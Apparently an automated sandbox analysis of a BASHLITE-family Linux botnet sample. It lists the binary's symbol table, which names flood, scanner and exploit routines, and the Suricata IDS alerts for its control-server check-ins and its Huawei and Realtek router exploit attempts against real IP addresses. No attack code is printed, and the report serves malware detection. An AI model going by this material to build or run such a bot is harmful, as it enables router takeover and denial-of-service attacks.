memmove.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mempcpy	.symtab	0x412a70	90	FUNC	<unknown>	DEFAULT	2
memrchr	.symtab	0x412bbc	237	FUNC	<unknown>	DEFAULT	2
memrchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memset	.symtab	0x40e9a0	210	FUNC	<unknown>	DEFAULT	2
mmap	.symtab	0x411b10	48	FUNC	<unknown>	DEFAULT	2
mmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mremap	.symtab	0x411c74	42	FUNC	<unknown>	DEFAULT	2
mremap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
munmap	.symtab	0x411ca0	38	FUNC	<unknown>	DEFAULT	2
munmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mylock	.symtab	0x51a760	40	OBJECT	<unknown>	DEFAULT	9
mylock	.symtab	0x51a7a0	40	OBJECT	<unknown>	DEFAULT	9
mylock	.symtab	0x520da0	40	OBJECT	<unknown>	DEFAULT	10
nanosleep	.symtab	0x411cc8	38	FUNC	<unknown>	DEFAULT	2
nanosleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
next_start.1440	.symtab	0x520b00	8	OBJECT	<unknown>	DEFAULT	10
ngPid	.symtab	0x520df0	4	OBJECT	<unknown>	DEFAULT	10
ntohl	.symtab	0x40f475	5	FUNC	<unknown>	DEFAULT	2
ntohl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ntohs	.symtab	0x40f46d	8	FUNC	<unknown>	DEFAULT	2
ntop.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
numpids	.symtab	0x51a9e8	8	OBJECT	<unknown>	DEFAULT	10
object.2814	.symtab	0x51a940	48	OBJECT	<unknown>	DEFAULT	10
open	.symtab	0x40d0dc	106	FUNC	<unknown>	DEFAULT	2
open.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
opendir	.symtab	0x40d364	243	FUNC	<unknown>	DEFAULT	2
opendir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
opennameservers.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ourIP	.symtab	0x520dec	4	OBJECT	<unknown>	DEFAULT	10
p.2759	.symtab	0x51a188	0	OBJECT	<unknown>	DEFAULT	9
parseHex	.symtab	0x402e71	84	FUNC	<unknown>	DEFAULT	2
pids	.symtab	0x520df8	8	OBJECT	<unknown>	DEFAULT	10
pipe	.symtab	0x40d154	38	FUNC	<unknown>	DEFAULT	2
pipe.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
poll	.symtab	0x4137c0	41	FUNC	<unknown>	DEFAULT	2
poll.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
prctl	.symtab	0x40d17c	44	FUNC	<unknown>	DEFAULT	2
prctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
prefix.4494	.symtab	0x418e55	12	OBJECT	<unknown>	DEFAULT	4
print	.symtab	0x4022f1	1084	FUNC	<unknown>	DEFAULT	2
printchar	.symtab	0x402087	75	FUNC	<unknown>	DEFAULT	2
printi	.symtab	0x4021b1	320	FUNC	<unknown>	DEFAULT	2
prints	.symtab	0x4020d2	223	FUNC	<unknown>	DEFAULT	2
processCmd	.symtab	0x40552f	5569	FUNC	<unknown>	DEFAULT	2
qual_chars.4498	.symtab	0x418e70	20	OBJECT	<unknown>	DEFAULT	4
raise	.symtab	0x413768	18	FUNC	<unknown>	DEFAULT	2
raise.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand	.symtab	0x410d40	11	FUNC	<unknown>	DEFAULT	2
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand__str	.symtab	0x4075c2	149	FUNC	<unknown>	DEFAULT	2
rand_alpha_str	.symtab	0x407657	116	FUNC	<unknown>	DEFAULT	2
rand_alphastr	.symtab	0x401fdc	171	FUNC	<unknown>	DEFAULT	2
rand_cmwc	.symtab	0x401f29	179	FUNC	<unknown>	DEFAULT	2
rand_init	.symtab	0x4074fc	83	FUNC	<unknown>	DEFAULT	2
rand_next	.symtab	0x40754f	115	FUNC	<unknown>	DEFAULT	2
random	.symtab	0x410d4c	72	FUNC	<unknown>	DEFAULT	2
random.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
random_auth_entry	.symtab	0x40c227	226	FUNC	<unknown>	DEFAULT	2
random_poly_info	.symtab	0x419ac0	40	OBJECT	<unknown>	DEFAULT	4
random_r	.symtab	0x410f54	90	FUNC	<unknown>	DEFAULT	2
random_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
randtbl	.symtab	0x51a820	128	OBJECT	<unknown>	DEFAULT	9
rawmemchr	.symtab	0x413ea0	190	FUNC	<unknown>	DEFAULT	2
rawmemchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read	.symtab	0x40d1a8	39	FUNC	<unknown>	DEFAULT	2
read.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read_etc_hosts_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realloc	.symtab	0x4104bc	857	FUNC	<unknown>	DEFAULT	2
realloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realtek_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realtekscanner_fake_time	.symtab	0x51ea68	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_get_random_ip	.symtab	0x4084f6	604	FUNC	<unknown>	DEFAULT	2
realtekscanner_recv_strip_null	.symtab	0x4076cc	125	FUNC	<unknown>	DEFAULT	2
realtekscanner_rsck	.symtab	0x51ea24	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_rsck_out	.symtab	0x51ea28	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_scanner_init	.symtab	0x407749	3203	FUNC	<unknown>	DEFAULT	2
realtekscanner_scanner_kill	.symtab	0x4083cc	22	FUNC	<unknown>	DEFAULT	2
realtekscanner_scanner_pid	.symtab	0x51ea20	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_scanner_rawpkt	.symtab	0x51ea40	40	OBJECT	<unknown>	DEFAULT	10
realtekscanner_setup_connection	.symtab	0x4083e2	276	FUNC	<unknown>	DEFAULT	2
recv	.symtab	0x40f8e0	11	FUNC	<unknown>	DEFAULT	2
recv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recvLine	.symtab	0x4030d3	570	FUNC	<unknown>	DEFAULT	2
recv_strip_null	.symtab	0x40925c	125	FUNC	<unknown>	DEFAULT	2
recvfrom	.symtab	0x40f8ec	45	FUNC	<unknown>	DEFAULT	2
recvfrom.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
report_working	.symtab	0x40c309	404	FUNC	<unknown>	DEFAULT	2
resolv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
resolv_domain_to_hostname	.symtab	0x408754	149	FUNC	<unknown>	DEFAULT	2
resolv_entries_free	.symtab	0x408e3d	56	FUNC	<unknown>	DEFAULT	2
resolv_lookup	.symtab	0x40888e	1455	FUNC	<unknown>	DEFAULT	2
resolv_skip_name	.symtab	0x4087e9	165	FUNC	<unknown>	DEFAULT	2
rsck	.symtab	0x520fd0	4	OBJECT	<unknown>	DEFAULT	10
rsck_out	.symtab	0x520fd8	4	OBJECT	<unknown>	DEFAULT	10
rtcp	.symtab	0x40433a	932	FUNC	<unknown>	DEFAULT	2
sbrk	.symtab	0x411cf0	74	FUNC	<unknown>	DEFAULT	2
sbrk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
scanPid	.symtab	0x520df4	4	OBJECT	<unknown>	DEFAULT	10
scanner_init	.symtab	0x4092d9	5621	FUNC	<unknown>	DEFAULT	2
scanner_kill	.symtab	0x40a8ce	22	FUNC	<unknown>	DEFAULT	2
scanner_pid	.symtab	0x520fd4	4	OBJECT	<unknown>	DEFAULT	10
scanner_rawpkt	.symtab	0x51eaa0	40	OBJECT	<unknown>	DEFAULT	10
select	.symtab	0x40d1d0	44	FUNC	<unknown>	DEFAULT	2
select.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
send	.symtab	0x40f91c	11	FUNC	<unknown>	DEFAULT	2
send.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sendSTD	.symtab	0x4046de	453	FUNC	<unknown>	DEFAULT	2
sendto	.symtab	0x40f928	48	FUNC	<unknown>	DEFAULT	2
sendto.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setsockopt	.symtab	0x40f958	53	FUNC	<unknown>	DEFAULT	2
setsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setstate	.symtab	0x410d94	98	FUNC	<unknown>	DEFAULT	2
setstate_r	.symtab	0x410eac	168	FUNC	<unknown>	DEFAULT	2
setup_connection	.symtab	0x40a8e4	259	FUNC	<unknown>	DEFAULT	2
sigaction	.symtab	0x411a01	247	FUNC	<unknown>	DEFAULT	2
sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigaddset	.symtab	0x40f9c0	35	FUNC	<unknown>	DEFAULT	2
sigaddset.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigempty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigemptyset	.symtab	0x40f9e4	20	FUNC	<unknown>	DEFAULT	2
signal	.symtab	0x40f9f8	168	FUNC	<unknown>	DEFAULT	2
signal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigprocmask	.symtab	0x40d1fc	85	FUNC	<unknown>	DEFAULT	2
sigprocmask.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigsetops.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sleep	.symtab	0x411418	415	FUNC	<unknown>	DEFAULT	2
sleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
snprintf	.symtab	0x40d49c	137	FUNC	<unknown>	DEFAULT	2
snprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
socket	.symtab	0x40f990	47	FUNC	<unknown>	DEFAULT	2
socket.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
socket_connect	.symtab	0x404f77	219	FUNC	<unknown>	DEFAULT	2
sockprintf	.symtab	0x4028f5	432	FUNC	<unknown>	DEFAULT	2
spec_and_mask.4497	.symtab	0x418e90	16	OBJECT	<unknown>	DEFAULT	4
spec_base.4493	.symtab	0x418e61	7	OBJECT	<unknown>	DEFAULT	4
spec_chars.4494	.symtab	0x418ec0	21	OBJECT	<unknown>	DEFAULT	4
spec_flags.4493	.symtab	0x418ed5	8	OBJECT	<unknown>	DEFAULT	4
spec_or_mask.4496	.symtab	0x418ea0	16	OBJECT	<unknown>	DEFAULT	4
spec_ranges.4495	.symtab	0x418eb0	9	OBJECT	<unknown>	DEFAULT	4
sprintf	.symtab	0x40d528	149	FUNC	<unknown>	DEFAULT	2
sprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
srand	.symtab	0x410e64	72	FUNC	<unknown>	DEFAULT	2
srandom	.symtab	0x410e64	72	FUNC	<unknown>	DEFAULT	2
srandom_r	.symtab	0x410fae	169	FUNC	<unknown>	DEFAULT	2
static_id	.symtab	0x51a8d0	2	OBJECT	<unknown>	DEFAULT	9
static_ns	.symtab	0x520dc8	4	OBJECT	<unknown>	DEFAULT	10
stderr	.symtab	0x51a4f0	8	OBJECT	<unknown>	DEFAULT	9
stdin	.symtab	0x51a4e0	8	OBJECT	<unknown>	DEFAULT	9
stdout	.symtab	0x51a4e8	8	OBJECT	<unknown>	DEFAULT	9
strcasecmp	.symtab	0x414bec	48	FUNC	<unknown>	DEFAULT	2
strcasecmp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strchr	.symtab	0x40ea80	417	FUNC	<unknown>	DEFAULT	2
strcmp	.symtab	0x413d60	33	FUNC	<unknown>	DEFAULT	2
strcoll	.symtab	0x413d60	33	FUNC	<unknown>	DEFAULT	2
strcpy	.symtab	0x40ec30	213	FUNC	<unknown>	DEFAULT	2
strdup	.symtab	0x413fd8	54	FUNC	<unknown>	DEFAULT	2
strdup.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strerror_r	.symtab	0x40f2f4	194	FUNC	<unknown>	DEFAULT	2
strlen	.symtab	0x40ed10	225	FUNC	<unknown>	DEFAULT	2
strncat	.symtab	0x413f60	119	FUNC	<unknown>	DEFAULT	2
strncat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strncpy	.symtab	0x40f0d4	131	FUNC	<unknown>	DEFAULT	2
strncpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strnlen	.symtab	0x40f158	206	FUNC	<unknown>	DEFAULT	2
strnlen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strpbrk	.symtab	0x413d88	140	FUNC	<unknown>	DEFAULT	2
strspn	.symtab	0x413e18	135	FUNC	<unknown>	DEFAULT	2
strstr	.symtab	0x40f228	187	FUNC	<unknown>	DEFAULT	2
strstr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtoimax	.symtab	0x411124	10	FUNC	<unknown>	DEFAULT	2
strtok	.symtab	0x40f3c8	10	FUNC	<unknown>	DEFAULT	2
strtok.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtok_r	.symtab	0x412cac	94	FUNC	<unknown>	DEFAULT	2
strtok_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtol	.symtab	0x411124	10	FUNC	<unknown>	DEFAULT	2
strtol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtoll	.symtab	0x411124	10	FUNC	<unknown>	DEFAULT	2
sysconf	.symtab	0x4115b8	351	FUNC	<unknown>	DEFAULT	2
sysconf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
szprintf	.symtab	0x402810	229	FUNC	<unknown>	DEFAULT	2
table	.symtab	0x520e00	464	OBJECT	<unknown>	DEFAULT	10
table.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
table_init	.symtab	0x408e78	466	FUNC	<unknown>	DEFAULT	2
table_key	.symtab	0x51a490	4	OBJECT	<unknown>	DEFAULT	9
table_lock_val	.symtab	0x409073	41	FUNC	<unknown>	DEFAULT	2
table_retrieve_val	.symtab	0x40909c	62	FUNC	<unknown>	DEFAULT	2
table_unlock_val	.symtab	0x40904a	41	FUNC	<unknown>	DEFAULT	2
tcgetattr	.symtab	0x40f3f0	110	FUNC	<unknown>	DEFAULT	2
tcgetattr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
tcpFl00d	.symtab	0x403d28	1554	FUNC	<unknown>	DEFAULT	2
tcpcsum	.symtab	0x4036b7	191	FUNC	<unknown>	DEFAULT	2
telnet_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
time	.symtab	0x40d254	39	FUNC	<unknown>	DEFAULT	2
time.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
times	.symtab	0x411d3c	39	FUNC	<unknown>	DEFAULT	2
times.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
toggle_obf	.symtab	0x40913d	286	FUNC	<unknown>	DEFAULT	2
tolower	.symtab	0x40d2b0	30	FUNC	<unknown>	DEFAULT	2
tolower.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
toupper	.symtab	0x40d2d0	30	FUNC	<unknown>	DEFAULT	2
toupper.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
trim	.symtab	0x401e3e	235	FUNC	<unknown>	DEFAULT	2
type_codes	.symtab	0x418ee0	24	OBJECT	<unknown>	DEFAULT	4
type_sizes	.symtab	0x418ef8	12	OBJECT	<unknown>	DEFAULT	4
udpfl00d	.symtab	0x40380f	1305	FUNC	<unknown>	DEFAULT	2
unknown.2050	.symtab	0x418f48	14	OBJECT	<unknown>	DEFAULT	4
unsafe_state	.symtab	0x51a7e0	48	OBJECT	<unknown>	DEFAULT	9
uppercase	.symtab	0x403030	54	FUNC	<unknown>	DEFAULT	2
userID	.symtab	0x51a484	4	OBJECT	<unknown>	DEFAULT	9
usleep	.symtab	0x411718	52	FUNC	<unknown>	DEFAULT	2
usleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
util.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
util_atoi	.symtab	0x40c7d2	480	FUNC	<unknown>	DEFAULT	2
util_fdgets	.symtab	0x40ccdc	151	FUNC	<unknown>	DEFAULT	2
util_isalpha	.symtab	0x40cd9c	53	FUNC	<unknown>	DEFAULT	2
util_isdigit	.symtab	0x40ce06	41	FUNC	<unknown>	DEFAULT	2
util_isspace	.symtab	0x40cdd1	53	FUNC	<unknown>	DEFAULT	2
util_isupper	.symtab	0x40cd73	41	FUNC	<unknown>	DEFAULT	2
util_itoa	.symtab	0x40c9b2	277	FUNC	<unknown>	DEFAULT	2
util_local_addr	.symtab	0x40cc3a	162	FUNC	<unknown>	DEFAULT	2
util_memcpy	.symtab	0x40c766	65	FUNC	<unknown>	DEFAULT	2
util_memsearch	.symtab	0x40cac7	137	FUNC	<unknown>	DEFAULT	2
util_strcat	.symtab	0x40c727	63	FUNC	<unknown>	DEFAULT	2
util_strcmp	.symtab	0x40c67e	118	FUNC	<unknown>	DEFAULT	2
util_strcpy	.symtab	0x40c6f4	51	FUNC	<unknown>	DEFAULT	2
util_stristr	.symtab	0x40cb50	234	FUNC	<unknown>	DEFAULT	2
util_strlen	.symtab	0x40c5d0	45	FUNC	<unknown>	DEFAULT	2
util_strncmp	.symtab	0x40c5fd	129	FUNC	<unknown>	DEFAULT	2
util_zero	.symtab	0x40c7a7	43	FUNC	<unknown>	DEFAULT	2
vfork	.symtab	0x40ce30	21	FUNC	<unknown>	DEFAULT	2
vseattack	.symtab	0x40494c	1415	FUNC	<unknown>	DEFAULT	2
vsnprintf	.symtab	0x40d5c0	199	FUNC	<unknown>	DEFAULT	2
vsnprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
w	.symtab	0x51ea14	4	OBJECT	<unknown>	DEFAULT	10
wait4	.symtab	0x411d64	47	FUNC	<unknown>	DEFAULT	2
wait4.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
waitpid	.symtab	0x40d27c	7	FUNC	<unknown>	DEFAULT	2
waitpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
watchdog_maintain	.symtab	0x401cad	276	FUNC	<unknown>	DEFAULT	2
watchdog_pid	.symtab	0x51a9e4	4	OBJECT	<unknown>	DEFAULT	10
wcrtomb	.symtab	0x411ef4	68	FUNC	<unknown>	DEFAULT	2
wcrtomb.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcsnrtombs	.symtab	0x411f48	140	FUNC	<unknown>	DEFAULT	2
wcsnrtombs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcsrtombs	.symtab	0x411f38	15	FUNC	<unknown>	DEFAULT	2
wcsrtombs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wildString	.symtab	0x402ec5	298	FUNC	<unknown>	DEFAULT	2
write	.symtab	0x40d284	42	FUNC	<unknown>	DEFAULT	2
write.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
x	.symtab	0x51ea08	4	OBJECT	<unknown>	DEFAULT	10
xdigits.3747	.symtab	0x41a120	17	OBJECT	<unknown>	DEFAULT	4
xstatconv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
y	.symtab	0x51ea0c	4	OBJECT	<unknown>	DEFAULT	10
z	.symtab	0x51ea10	4	OBJECT	<unknown>	DEFAULT	10
zprintf	.symtab	0x40272d	227	FUNC	<unknown>	DEFAULT	2

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-06T20:00:44.498319+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	45652	104.248.167.251	89	TCP
2024-10-06T20:00:47.023037+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40962	156.246.99.143	37215	TCP
2024-10-06T20:00:47.052813+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46926	156.242.29.171	37215	TCP
2024-10-06T20:00:47.308892+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51952	197.6.243.246	52869	TCP
2024-10-06T20:00:47.352896+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52910	41.234.254.118	52869	TCP
2024-10-06T20:00:47.360760+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59256	197.167.179.38	52869	TCP
2024-10-06T20:00:47.365832+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49000	197.116.43.94	52869	TCP
2024-10-06T20:00:47.518455+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50184	197.6.95.61	37215	TCP
2024-10-06T20:00:48.137929+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52490	156.238.13.216	52869	TCP
2024-10-06T20:00:51.847424+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44016	41.169.114.35	52869	TCP
2024-10-06T20:00:53.904285+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42726	41.160.52.73	37215	TCP
2024-10-06T20:00:57.026917+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56254	197.158.65.252	37215	TCP
2024-10-06T20:01:01.857352+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45010	156.223.77.80	52869	TCP
2024-10-06T20:01:02.008161+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39268	41.157.207.255	52869	TCP
2024-10-06T20:01:02.736237+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49450	197.62.20.152	52869	TCP
2024-10-06T20:01:02.741204+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52916	197.52.188.84	52869	TCP
2024-10-06T20:01:05.895677+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	33562	248.167.251.89	89	TCP
2024-10-06T20:01:06.254388+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	60786	167.251.89.0	89	TCP
2024-10-06T20:01:06.842021+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36682	197.229.12.237	37215	TCP
2024-10-06T20:01:06.842021+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53674	156.28.135.157	37215	TCP
2024-10-06T20:01:06.857540+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34404	197.189.46.106	37215	TCP
2024-10-06T20:01:06.857641+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49448	197.240.195.4	37215	TCP
2024-10-06T20:01:06.857667+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52486	156.209.222.208	52869	TCP
2024-10-06T20:01:06.857676+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47958	156.147.156.210	37215	TCP
2024-10-06T20:01:06.857701+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58748	41.160.145.109	52869	TCP
2024-10-06T20:01:06.858194+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52228	197.248.131.4	52869	TCP
2024-10-06T20:01:06.858260+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44004	197.245.110.106	52869	TCP
2024-10-06T20:01:06.859154+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43324	41.50.215.105	37215	TCP
2024-10-06T20:01:06.859180+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49850	41.218.74.136	37215	TCP
2024-10-06T20:01:06.859303+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58802	41.128.20.63	37215	TCP
2024-10-06T20:01:06.869196+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58166	197.192.233.157	37215	TCP
2024-10-06T20:01:06.873264+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58404	197.41.142.52	37215	TCP
2024-10-06T20:01:06.873336+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52028	197.188.171.59	52869	TCP
2024-10-06T20:01:06.873516+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48774	197.235.232.143	37215	TCP
2024-10-06T20:01:06.873664+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45390	41.241.161.251	37215	TCP
2024-10-06T20:01:06.873722+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55836	41.88.112.9	52869	TCP
2024-10-06T20:01:06.874913+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49766	156.203.1.203	37215	TCP
2024-10-06T20:01:06.874950+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59494	197.115.54.7	52869	TCP
2024-10-06T20:01:06.874952+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55486	197.83.37.51	37215	TCP
2024-10-06T20:01:06.875004+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56060	156.91.147.218	37215	TCP
2024-10-06T20:01:06.875127+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	32888	156.205.129.99	37215	TCP
2024-10-06T20:01:06.875238+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51892	197.164.55.197	37215	TCP
2024-10-06T20:01:06.875390+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46980	197.150.169.53	37215	TCP
2024-10-06T20:01:06.877352+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51654	41.58.165.93	37215	TCP
2024-10-06T20:01:06.877373+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56316	197.225.206.52	52869	TCP
2024-10-06T20:01:06.888301+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59818	197.66.205.185	52869	TCP
2024-10-06T20:01:06.889010+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37592	197.164.91.95	37215	TCP
